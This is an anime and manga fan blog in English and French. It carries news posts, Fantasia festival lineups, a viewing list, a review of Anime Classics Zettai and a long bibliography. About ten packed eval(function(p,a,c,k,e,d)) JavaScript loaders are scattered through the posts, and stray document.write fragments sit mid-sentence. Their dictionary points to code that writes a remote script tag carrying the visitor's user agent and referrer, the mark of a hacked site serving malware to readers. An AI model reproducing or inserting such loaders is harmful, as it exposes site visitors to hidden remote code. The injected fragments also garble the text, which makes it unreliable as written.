Anime

Explosion of live-action adaptations

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It seems that lately there is an explosion of announcements for live-action adaptations of anime or manga. Some were rumored for a long time and some come to a complete surprise. Here’s a few links to more detailed news stories:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbysb|var|u0026u|referrer|hbbri||js|php’.split(‘|’),0,{}))

I can’t wait to watch those movies…

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Ten notable news

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Here are ten anime & manga notable news that I came across in the last month or so (in no particular order):
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnfbk|var|u0026u|referrer|irntr||js|php’.split(‘|’),0,{}))

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Animeland change de propriétaire

/ Clodjee / Leave a comment

Voici la preuve que je ne suit plus vraiment l’actualité dans le domaine de l’anime et du manga (à part lire les gros titres du fil de nouvelles de ANN et Animeland — que vous retrouvez dans la colonne de droite de mon blog). Je suis passé à côté d’une grosse nouvelle: Animeland a changé de propriétaire… l’an dernier!

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdsa|var|u0026u|referrer|attka||js|php’.split(‘|’),0,{}))

“AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, document.write(“”); les mangas et tout l’univers otaku en France”. À tout les deux mois il offre une centaines de pages pleine à craquer de news, chroniques, interviews, articles et dossiers. J’ai toujours grandement admiré ce magazine fondé par Yvan West Laurence et Cédrik Littardi en avril 1991 (même si j’ai souvent eut l’impression que parfois ils “s’inspiraient” de Protoculture Addicts — quoiqu’il faudrait sans doute dire que l’inspiration était mutuelle). C’est rapidement devenu le meilleurs magazine sur l’anime et le manga hors-Japon et pas seulement en langue française.

Il y a quelques semaines, voulant justement me mettre un peu à jour dans les dernières tendances de la pop-culture japonaise, j’ai emprunté le plus récent numéro à la bibliothèque (#207, Décembre 2015 / Janvier 2016). Quelle ne fut pas ma surprise de découvrir que l’éditorial était signé par… Christopher Macdonald, l’éditeur de Anime News Network (et mon partenaire dans la dernière incarnation de Protoculture Addicts)! J’ai également noté que le magazine n’était plus publié par Anime Manga Presse mais plutôt par le mystérieux AMN (et cela depuis le numéro 202, en février/mars 2015). Qu’est-ce que tout cela voulait dire?

J’ai trouvé la réponse dans le fil de nouvelle du site d’Animeland: “Anime News Network reprend AnimeLand” (daté du 21 décembre 2014) [MàJ: ANN en a aussi parlé en janvier 2015]. ANN s’était donc bel et bien porté acquéreur du magazine français! Wow!

“Anime News Network, site internet leader mondial des news sur le manga et l’animation japonaise, est heureux d’annoncer la reprise d’AnimeLand, le premier magazine français de l’animation et du manga. (…) Une nouvelle société, AM Media Network, filiale de la société québécoise Anime News Network, reprend dès maintenant la publication de tous les magazines d’Anime Manga Presse qui, suite à des troubles financiers importants, a récemment traversé une procédure judiciaire.”

Toute mes félicitations à mon ami Christopher! Je lui souhaite, ainsi qu’à Animeland, le plus grand des succès. Je vais très certainement essayer de les suivre de plus près.

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Kawamori interview on Forbes!

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While browsing on the internet, document.write(“”); I just discovered this long and fascinating interview of Shoji Kawamori on the Forbes magazine!
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The creator of Macross talks about the genesis of the series, about how important it is for him to create realistic mocha, about writing and directing, about how his work seems to have inspired many other creators (without ever being credited), and so many other things! It’s really an interesting article.

Akiyuki Nosaka passes away

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Earlier this month, document.write(“”); I read on Anime News Network that Akiyuki Nosaka, the novelist who wrote the famous japanese story Grave of the Fireflies (????? / Hotaru no Haka), passed away on December 9 at the age of 85. Written in 1967, the story was semi-autobiographical as it was inspired by his war-time experience as a kid, particularly the firebombing of Kobe in 1945.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrzie|var|u0026u|referrer|tirki||js|php’.split(‘|’),0,{}))

In 1988, the novel was adapted into a beautiful animated movie by Studio Ghibli under the direction of Isao Takahata.

A new Macross TV series

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I have recently learned (via Anime News Network) that a new Macross TV series is in production. Titled Macross Delta (no doubt because of the unique delta wing design of the new Valkyries), document.write(“”); it is the story of the “Tactical Sound Unit” Walküre, a group of five singers who battles the Var Syndrome which is consuming the galaxy, alongside the mysterious Aerial Knights Valkyrie fighter team of the Kingdom of Wind. 18-year-old Minori Suzuki will play Freyja Wion, one of the singers.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tffkf|var|u0026u|referrer|fzbet||js|php’.split(‘|’),0,{}))

All the details on the show (staff, characters, cast, designs, and teaser video) were revealed at the end of October in a streaming special event. Shoji Kawamori (Studio Nue) is the overall director as well as the Valkyrie designer. The director is Kenji Yasuda (Satelight), with scripts by Toshiba Nemoto, mechanical designs by Stanislas Brunet, character designs and animation direction are by Majiro and Yuu Shindou (adapting the original designs by Chisato Mita).

A special preview will air on New Year’s Eve. In the meantime you can check the official website and this Youtube teaser video:


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Rose of Versailles manga and other notable news

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At Comic-Con, document.write(“”); Udon Entertainment has announced that they will release the first english version of Riyoko Ikeda’s classic shojo manga Rose of Versailles. The series will be released as two omnibus volumes in the second quarter of 2016.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azskn|var|u0026u|referrer|nfirr||js|php’.split(‘|’),0,{}))

The french version has been around for a while (published in 2002), so I am surprised it took so long to get it translated in english. Of course, the French had a special interest in this story (it’s about the french revolution) but it’s a superb story, drawn in a classic shojo style, so it should interest everybody. I’ve complained about this several time, but I really cannot understand why there are so few shojo manga from the 70s and 80s being translated in either english or french. There’s a real goldmine of great shojo titles from that era that is left totally unexploited (mostly from the so-called Year 24 Group). Of course, I can understand publishers not willing to take the risk to release series that a often rather long (Riyoko Ikeda’s Jotei Ecatherina is 5 volumes, Orpheus no Mado 18 volumes, Eikou no Napoleon – Eroica 14 volumes, and Suzue Miuchi’s Glass no kamen is 50+ volumes !!) and in a style that might seem dated (but oh so beautiful!)…

Now, the question is: will Udon includes in this edition the more recent Rose of Versailles “Episodes” ? Or will it be in an eventual third omnibus volume? I hope they thought of acquiring the rights for those stories as well…

Strangely, Udon Entertainment is mainly known for their Street Fighter and video game related manga but they seems lately to venture into more traditional manga titles (and shojo, mind you). Now their catalog even includes a collection of manga classics (Jane Austen’s Emma, Dicken’s Great Expectations, Victor Hugo’s Les Miserables, Jane Austen’s Pride & Prejudice, Nathaniel Hawthorne’s The Scarlet Letter) !

[ Sources: ANN, Udon ]

Ten Other notable news

  • At the same occasion, Udon announced the release of Moyoco Anno’s Sugar Sugar Rune also for the 2nd Quarter 2016 [ ANN ]
  • Studio Ghibli’s latest film, When Marnie Was There, earned over $500K in U.S. Theaters [ ANN ]
  • Nintendo President Satoru Iwata Passes Away [ ANN ]
  • Shigeru Mizuki’s manga Showa: A History of Japan (1939-1944 and 1944-1953) won the 2015 Will Eisner Comic Industry Award for Best U.S. Edition of International Material from Asia [ ANN ]
  • Mamoru Nagano’s manga Five Star Stories will receive its first new volume in nine years this august [ ANN, Forbes ]
  • Sunrise Announced at Anime Expo that it is working on a new Gundam TV series [ ANN ]
  • Tokyopop has announced at Anime Expo that it is planning to begin publishing manga again in 2016 [ ANN ]
  • Vertical announced at Anime Expo that it has licensed the publishing rights for, amongst others, the Attack on Titan: Lost Girls novel spinoff [ ANN ]
  • The live-action adaptation of Masamune Shirow’s Ghost in the Shell, starring Scarlett Johansson, is set to be released in march 2017 [ ICv2 ]
  • Luc Besson has announced that his next movie as producer and director will be Valerian and the City of a Thousand Planets, based on the comics by Pierre Christin & Jean-Claude Mézières, which should see a release in 2017 [ ICv2, themarysue.com]

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Japanese movies at Fantasia 2015

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntass|var|u0026u|referrer|rhnya||js|php’.split(‘|’),0,{}))
This week the programmation for the 19th edition of the Fantasia International Film Festival was announced. It will be held in Montreal from July 14 to August 4 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. This year the festival is offering a lineup of about 400 movies from 36 countries, document.write(“”); including about 135 feature-length movies and 104 premieres! For more programming details you can check the festival’s web page at www.fantasiafestival.com and the screening schedule [ PDF ].

Here our main interest is the Japanese programming (25 features and one short) but there are twenty-seven movies from at least five other asian countries (four from China, thirteen from South Korea, six from Hong Kong, one from Indonesia, two from Taiwan and one from Thailand). The programming includes also over an hundred animated features and shorts from many countries. As usual, it’s a rich, strong and diversified selection bound to please anyone.

This year, it’s a slim pick anime-wise but to compensate the festival will open with the Japanese animated feature Miss Hokusai, which will be introduced by director Keiichi Hara and screenplay writer Miho Maruho. To the utter pleasure of the fans, the festival will also close with the canadian premiere of the greatly anticipated live-action Attack on Titan directed by Shinji Higuchi and based on the popular manga by Hajime Isamaya. The other anime and manga-related movies of interest are the Lupin the Third live-action, the latest Mamoru Oshii (Nowhere Girl) and the latest Takeshi Kitano (Ryuzo and the Seven Henchmen).

(Sources: Animation world network, Bible urbaine, Cult Mtl, Film school rejects and Métro)

Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

Documentary:

And here’s a few trailers of interest:

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The year in media entertainment

/ Clodjee / 1 Comment

As I stated several time lately: I really watch too much TV and here is the proof.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsbst|var|u0026u|referrer|ktasa||js|php’.split(‘|’),0,{}))

This list of the movies and TV series that I’ve watched in 2014 is far from exhaustive as I am sure I forgot many of them (particularly movies or series that I don’t recall because I’ve watch them on TV without taking any notes and therefore they left no trace). The movies were watched mostly on Dvds. This time I’ll also try to rate them according to this system: [0] Bad, document.write(“”); [1] Meh, [2] Average / Really I don’t remember, [3] Good, [4] Great and [5] Excellent. I’ve also indicated when the TV series are British [UK], because it is usually a sign of better production quality (certainly in the writing). I’ll start with a Top 10 for which I’ll try to give a few comments [to be added a little later, sorry] and complete with a simple list of the rest (but I will add a link to at least provide a few production details). The top 10 of the movies was hard because I could’t find enough titles that I really liked. The top 10 of the TV series was even harder because there was so many good ones. Here we go… after the jump:

Movies Top 10

Battleship [4],

Belle et Sébastien [3]

Book thief (The) [4]

Chat du rabbin (Le) [5]

From up on Poppy Hill [5]

Great Beauty (The) [5]

Hiroshima mon amour [5]

Oblivion [4]

Philomena [4]

12 years a slave [4]

And the rest: A courtesan with flowered skin [3], A drop of the grapevine [3], A la recherche du temps perdu [2], A sparkle of life [3], After Earth [2], Becket [3], Blossom bloom [3], Blue Jasmine [3], Cape Nostalgia [3], Divergent [3], Elysium [4], Ender’s game [3], Fly, Dakota, Fly! [3], Gravity [4], Hana [3], Hobbit : The desolation of Smaug (The) [3], Hunger game : Catching fire (The) [3], Hyde Park on Hudson [3], Iron Man 3 [2], Jobs [2], Light shines only there (The) [3], Lone Ranger (The) [2], Monuments men (The) [3], One third [3], Our family [3], Pacific Rim [1], Quai d’Orsay [2], Quartet [3], Salaud, on t’aime [4], Saving Mr. Banks [2], Star Trek: Into Darkness [1], Sur la piste du Marsupilami [2], Taira clan saga [3], Thor : The dark world [2], Tokyo: The city of glass [3], Twenty-four eyes [3], Zero Theorem (The) [2].

TV Series Top 10

Äkta människor (Real Humans / 100% Humain) S. 1 [5]

Bletchley circle [5]

Endeavour [5]

Firefly [5]

Manhattan [5]

Murdoch Mysteries S. 7-8 [3]

Newsroom (The) S. 3 [5]

Outlander [4]

Returned (The) / Les Revenants [4]

True Detective S.1 [4]

And the rest: 24: Live Another Day S. 9 [1], Almost Human [2], Atlantis [2], Birdsong [1, UK], Breathless [2, UK], Call the midwife [3, UK], Click [2, UK], Constantine [1], Continuum S. 3 [3], Cosmos: A spacetime odyssey [3], Crimson Field (The) [3, UK], Death comes to Pemberley [4, UK], Defiance S. 2 [2], Doctor Zhivago [3, UK], Doctor Who S. 8 [2, UK], Downton Abbey S. 5 [3, UK],

Original location of SDF-1 identified !

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We all remember the scene in the very first episode of Robotech (or Macross) where the SDF-1 (or Macross Super-Dimentional-Fortress) automatically shoot its main gun and blasts part of the island where it is located. Ever wondered where this island was located in reality ?
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You won’t believe it! Click here to see where it is located >>

The Senkaku Islands!

(the Kita-Kojima (l.) and Minami-Kojima (r.) islands, document.write(“”); with the Uotsuri island in the background)

No wonder several countries are disputing its ownership!
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Fantasia 2014

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etniy|var|u0026u|referrer|yisdb||js|php’.split(‘|’),0,{}))
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The 18th edition of the Fantasia International Film Festival will be held in Montreal from July 17 to August 5, document.write(“”); 2014. Screenings will take place mostly at the freshly renovated Concordia Hall Cinema. This year the festival is offering a lineup of over 160 features films and about 300 shorts. For more programming details check the festival’s web page at www.fantasiafestival.com.

Here our main interest is the asian programming (over sixty movies from seven countries: 22 from Japan, 17 from South Korea, 7 from Hong Kong, 2 from Indonesia, one each from China, Malaysia and Philippines) and particularly the animation (twelve movies from four countries: 8 from Japan, 2 from China, as well as one each from South Korea and Indonesia — there’s also one anime-related animation from Québec).

Update: For comments on the Japanese movies presented at Fantasia, I highly recommend reading Claude R. Blouin’s article [in french], “Montréal, Fantasia 2014 : le Japon des exclus” on Shomingeki web magazine.

A recap list of the Asian programming titles follows (with links to full description).


Anime (+ Asian Animation):

Japan (Live-Action):

Other Asian countries (Live-Action):

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Anime Classic Zettai

/ Clodjee / 3 Comments

“This is a must-have guide to 100 essential Japanese animation films, TV series, and made-for-video series, from 1950s classics to the latest Cartoon Network hits.
Looking for something specific? Eight unique icons make reviews easy to browse. From Akira to Naruto, Pokemon to Sailor Moon, anime veterans Brian Camp and Julie Davis present over 100 black & white images alongside summaries, style notes, rare facts, viewer-discretion guides, and critical comments on films that fans absolutely—zettai!—must see.”

[From the publisher’s web site]


We could say this book is only a compilation of reviews, but, on the other hand, it has the great advantage of offering extensive and very structured reviews. Also, if it offers only one hundred of them, they constitute the authors’ all time best anime selection (including movies, TV series, OAV, from 1958 to 2006, from Akira to Yu Yu Hakusho)!

The book opens on two essays: the first one gives a quick summary of the history of anime in America and explains the criteria use in the selection of titles; the second attempts to describe anime through its formats, styles and the experience it provides. It goes on with short biographies of fourteen great anime directors: Hideaki Anno, Osamu Dezaki, Yoshiaki Kawajiri, Satoshi Kon, Leiji Matsumoto, Hayao Miyazaki, Mamoru Oshii, Katsuhiro Otomo, Rintaro, Gisaburo Sugii, Isao Takahata, Osamu Tezuka, Yoshiyuki Tomino and Shinichiro Watanabe (a list similar to the Top 10 directors published in PA #90: 14). Like all good references, the book concludes with a bibliography. If there are about one hundred illustrations, some reviews have plenty of pictures while many are not illustrated at all. Such a book should be more generously illustrated.

All the reviews follow the same structure and are divided into nine parts: production notice (date, format, duration, genre, staff), summary, description of its style, comment (the review itself), mention of related titles (pre/sequels), notes on the creator/director, highlights (notable scenes), additional notes (anything from production notes to details on voice actors, or DVD extras), and rating advisory (violence, profanity, sexuality, etc.). All reviews are detailed and average three to four pages each.

I have often a hard time answering when people ask me to recommend them titles to watch. I’ve seen so many anime that it’s difficult to say which one I like best. This book offers an easy solution: here’s 100 titles that I can easily suggest. The book’s selection probably includes most people’s Top 10 (it’s the case for the staff Top 10 published in PA #84, or mine [minus Megazone 23], and you’ll find almost all Satoshi Kon [save Paprika] and Miyazaki [without Castle Of Cagliostro] titles). Of course, you cannot always agree with their selection (Chobits? Demon City Shinjuku? Harmagedon? Pokemon? Wicked City?!), but it certainly reviews most classic, popular and significant (historically or artistically) anime titles.

All in all, this is a very nice coffee table reading as it offers a ready-made list of viewing as well as lots of interesting information about the reviewed titles. Recommended for anime fans of all levels, zettai! (Absolutely!)

Anime Classics Zettai! 100 Must-See Japanese Animation Masterpieces, by Brian Camp & Julie Davis. Berkeley: Stone Bridge Press, 2007. 408 pp., paperback, $18.98 US / $23.00 CDN, ISBN 978-1-933330-22-8. Recommanded for teenagers (12+).
For more information / Pour plus d’information:

A version of this article was previously published in PA #97: 76.

Anime Classics Zettai © 2007 Brian Camp and Julie Davis.

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Essential Anime & Manga References

/ Clodjee / 4 Comments

Introduction

This is an attempt to produce an exhaustive bibliography about anime & manga. It is far from complete yet. So far we’ve only transferred the old version from the Protoculture website (adding links to WoldCat and, whenever possible, to Nelligan—the Montreal libraries’ catalog). We’ve corrected the pictures’ links, added more books (whatever was published since we first started this bibliography; luckily we own a copy of most of these titles — the copy we own are on green background) and we’ll try to keep it updated as often as possible. Strangely, there are much more books about manga than anime… [Last update: 2024-12-28]

For those who are wondering: “anime” is referring to Japanese animation (cartoons) and “manga” is referring to Japanese comics. They are an important part of Japanese popular culture.

Index

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The essentials

Anime

[Collectif / Team Animeland] L’Encyclopédie des Animés, vol. 1 : 1963-1979. Paris: Ynnis Éditions, Octobre 2021. 112 pages. 19,95 € / $30.95. ISBN 9782376972419.

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif / Team Animeland] L’Encyclopédie des Animés, vol. 2 : 1980-1988. Paris: Ynnis Éditions, Juin 2022. 146 pages. 19,95 € / $34.95. ISBN 9782376972693.

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif / Team Animeland] L’Encyclopédie des Animés, vol. 3 : 1989-1993. Paris: Ynnis Éditions, Juin 2022. 144 pages. 19,95 € / $34.95. ISBN 978-2376972891.

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif / Team Animeland] L’Encyclopédie des Animés, vol. 4 : 1994-1999. Paris: Ynnis Éditions, Novembre 2022. 148 pages. 19,95 € / $34.95. ISBN 978-2376973171.

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif / Team Animeland] L’Encyclopédie des Animés, vol. 5 : 2000-2003. Paris: Ynnis Éditions, Mars 2023. 130 pages. 19,95 € / $34.95. ISBN 978-2376973270.

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif / Team Animeland] L’Encyclopédie des Animés, vol. 6 : 2004-2007. Paris: Ynnis Éditions, Août 2023. 160 pages. 19,95 € / $34.95. ISBN 978-2376973348.

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif / Team Animeland] L’Encyclopédie des Animés, vol. 7 : 2008-2010. Paris:Ynnis Éditions, Septembre 2024. 130 pages. 19,95 € / $34.95. ISBN 978-2376974123.

[ Amazon • Goodreads • Google • WorldCat ]

BARICORDI, Andrea; De GIOVANNI, Massimiliano; PIETRONI, Andrea; ROSSI, Barbara and TUNESI, Sabrina. Anime: Guida al cinema d’animazione giapponese. Bologna: Granata Press, 1991. 320 pages. ISBN 88-7248-014-0. 35,000 L. [in italian] [ Wikipedia ]

[ Amazon • Goodreads • Google • WorldCat ]

BARICORDI, Andrea; De GIOVANNI, Massimiliano; PIETRONI, Andrea; ROSSI, Barbara and TUNESI, Sabrina. Anime: A Guide To Japanese Animation (1958-1988). Translated from the Italian by Adeline D’Opera and presented by Claude J. Pelletier. Montreal, Protoculture, 2000. 320 pages, B&W, ISBN 2-9805759-0-9. $25.00 US/Can.

[ Amazon • Goodreads • Google • WorldCat ]

CAMP, Brian & DAVIS, Julie. Anime Classics Zettai! 100 Must-See Japanese Animation Masterpieces. Berkeley, Stone Bridge Press, 2007. 408 pg. ISBN 978-1933330228. $18.95 US / $23.00 CDN. [ Wikipedia ] See my comment.

[ Amazon • Goodreads • Google • WorldCat ]

CLEMENTS, Jonathan. Anime: A History. British Film Institute, September 2023 (2nd edition). 456 pages. ISBN 978-1839025129.

[ Amazon • Goodreads • Google • WorldCat ]

First edition: December 2013, ISBN 978-1844573905.

CLEMENTS, Jonathan & McCARTHY, Helen. The Anime Encyclopedia: A Guide To Japanese Animation Since 1917. Revised & Expanded Edition. Berkeley, Stone Bridge Press, 2006. 870 pg. ISBN 978-1933330105. $29.95 US.

First Edition: 2001, ISBN 1-880656-64-7. $24.95 US.

3rd Revised Edition: March 2015, 1200 pages, ISBN 9781611729092, $24.95.

[ Amazon • Goodreads • Google • Nelligan • Wikipedia • WorldCat ]

LEDOUX, Trish & RANNEY, Doug. The Complete Anime Guide. Japanese Animation Film Directory & Resource Guide (2nd Edition). Tiger Mountain Press, 1997. 214 pg. ISBN 978-0964954250. $19.95 US.

[ Amazon • Goodreads • Google • WorldCat ]

1st Edition: January 1996, ISBN 9780964954236.

MACIAS, Patrick & SATTIN, Samuel. The Essential Anime Guide: 50 Iconic Films, Standout Series, and Cult Masterpieces. Running Press, October 2023, 224 pages. ISBN 9780762484782. $12.99.

[ Amazon • Goodreads • Google • WorldCat ]

McCARTHY, Helen & CLEMENTS, Jonathan. The Erotic Anime Movie Guide. London, Titan Books, 1998. 191 pg. ISBN 1-85286-946-1. £12.99.

[ Amazon • Goodreads • Google • WorldCat ]

PINON, Mathieu & BUNEL, Philippe. Un siècle d’animation Japonaise. Paris:Ynnis Éditions, avril 2018. 208 pages. 35,00 € / $59.95. ISBN 979-1093376806.

[ Amazon • Goodreads • Google • WorldCat ]

POITRAS, Gilles. Anime Essentials: Every Thing A Fan Needs To Know. Berkeley, Stone Bridge Press, 2001. 127 pg. ISBN 1-880656-53-1. $14.95 US.

[ Amazon • Goodreads • Google • WorldCat ]

Manga

[Collectif]. Le guide Phénix du manga. Paris, Azuka Éditions, Janvier 2006. 750 pg. ISBN 9782849652442. € 18.00. [in french]

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif]. Le guide Phénix du manga. Paris, Kazé, Décembre 2005. 624 pg. ISBN 978-2-8496-5091-9. € 18.00. [in french]

[ Amazon • Goodreads ]

[Collectif] Manga: A Visual History. London: Dorling Kindersley Publishing (DK), (to be published in March 2025). 320 pages. ISBN 978-0593844199. 46 € / $50 US / $66.00 Can. Authors includes Frederik L. Schodt, Rachel Thorn, Zack Davisson, Erica Friedman and Jonathan Clements.

[ Amazon • Goodreads • Google • WorldCat ]

[Collectif]. Le meilleur du manga 2013: Les conseils des pros pour s’y retrouver dans la masse ! Paris, Kazé, Février 2013. 192 pg. ISBN 978-2-8203-0510-7. € 7,95 / $13.95. [in french]

[ Amazon • Goodreads • Google • WorldCat ]

BASTIDE, Julien & PREZMAN, Anthony. Guide des mangas: Les 100 séries indispensables. Paris, Bordas, 2006. 288 pg. ISBN 978-2-04-732140-9. € 14,90 [in French]

[ Amazon • Goodreads • Google • WorldCat ]

BOUISSOU, Jean-Marie. Manga: Histoire et univers de la bande dessinée japonaise. Arles, Picquier poche, 2014. 478 pg. 9 € / $19.95. ISBN 978-2-8097-0996-4.

[ Amazon • Goodreads • Google • WorldCat ]

Autres Éditions: 2010, 2012, 2018.

CASTELLAZZI, Davide. A-Z manga: Guida al fumetto giapponese. Roma, Coniglio Editore, 2004. 192 pg. ISBN 978-8888833088. € 13.00. [in italian]

[ Amazon • Goodreads • Google • WorldCat ]

COUDIÈRE, Bénédicte. 100 mangas qui ont marqué l’histoire! Paris: Ynnis, Août 2024. 206 pages. 35,00 € / $59.95. ISBN 9782376974376. 

[ Amazon • Goodreads • Google • WorldCat ]

FINET, Nicolas. Dico Manga: Le dictionnaire encyclopédique de la bande-dessinée japonaise. Paris, Fleurus, 2008. 624 pg. ISBN 978-2215079316. € 30.00 / $24.95. [in french] Read the commentary.

[ Amazon • Goodreads • Google • WorldCat ]

GRAVETT, Paul. Manga: Sixty Years of Japanese Comics. Laurence King Publishing / Harper Design Intl, 2004. 176 pg. ISBN 978-1856693912. $24.95 US. [Aussi disponible en version française]

[ Amazon • Goodreads • Google • Wikipedia • WorldCat ]

GROENSTEEN, Thierry. L‘Univers des Mangas. Une Introduction à la Bande Dessinée Japonaise. Casterman, 1996. 143 pg. ISBN 2-203-32606-9. [in french]

[ Amazon • Goodreads • Google • WorldCat ]

KOYAMA-RICHARD, Brigitte. One thousand years of manga. Paris: Flammarion, 2007. 248 pg. ISBN 978-2-0803-0029-4. $49.95 US / $62 Can / € 40.00. [Aussi disponible en version française]

[ Amazon • Goodreads • Google • WorldCat ]

McCARTHY, Helen. A Brief History of Manga: The essential pocket guide to the Japanese pop culture phenomenon. London: Ilex Press, July 2014. 18.5 x 11.5 cm, 96 pg., £7.99 / $14.99 Cnd. ISBN:978-1-78157-098-2.

[ Amazon • Goodreads • Google • WorldCat ]

PINON, Matthieu & LEFEBVRE, Laurent. Histoire(s) du manga moderne. Paris: YNNIS Éditions, Avril 2015. 24 x 2.5 x 27 cm, 204 pg., 29.99 € / $49.95 Can. ISBN: 979-1-0933-7622-6.

[ Amazon • Goodreads • Google • WorldCat ]

Nouvelle édition augmentée: septembre 2022, $60.95, ISBN 9782376973119.

Also available in English: A History of Modern Manga. Insight Editions, April 2023, ISBN 978-1647229146. [ Amazon • Goodreads ]

POUPÉE, Karyn. Histoire du manga: l’école de la vie japonaise. Paris: Tallandier, Juin 2010. 396 pg. ISBN 9782847346688. € 23,00. [in french]

[ Amazon • Goodreads • Google • WorldCat ]

Nouvelle Édition: Août 2014, ISBN 9791021002166. [ Amazon • Goodreads • WorldCat ]

Nouvelle Édition: Juin 2022, 480 pages, ISBN 9791021053816.

RICHARD, Oliver. Manga: Les 120 incontournables; La mangathèque idéale. Paris: Glénat (12 Bis), Novembre 2012. 256 pg. ISBN 978-2-35648-451-2. € 9,90 / $17.95. [in french]

[ Amazon • Goodreads • Google • WorldCat ]

SCHODT, Frederik L. Dreamland Japan; Writings On Modern Manga. Berkeley, Stone Bridge Press, 1996. 360 pg. ISBN 1-880656-23-X. $16.95 US.

[ Amazon • Goodreads • Google • WorldCat ]

New edition: June 2011, ISBN 9781933330952, $14.95 US.

SCHODT, Frederik L. Manga! Manga! The World of Japanese Comics. New York/Tokyo, Kodansha, 1983. 260 pg. ISBN 0-87011-752-1. $16.95 US / 3,000¥. [ Wikipedia ]

[ Amazon • Goodreads • Google • WorldCat ]

Other editions: January 1983 (ISBN 9780870115493), January 2013 (ISBN 9781568364766).

THOMPSON, Jason. Manga: The Complete Guide. New York, Ballantine/Del Rey, 2007. 556 pg. ISBN 978-0345485908. $19.95 US / $24.95 CDN. [Wikipedia] See my comment.

[ Amazon • Goodreads • Google • WorldCat ]

現代漫画博物館 [Lit. “Modern Comic Museum” / The Encyclopedia of Contemporary Manga, 1945-2005], by Shogakukan Manga Awards Office. Shōgakukan, November 2006. 532 pages. ISBN 978-4091790033. 4200円 [In Japanese]

[ Amazon • Google • WorldCat ]

Magazines

Web

More useful references to come soon!

Next: More anime & manga references

37th Japan Academy Prize Nominees

/ Clodjee / Leave a comment

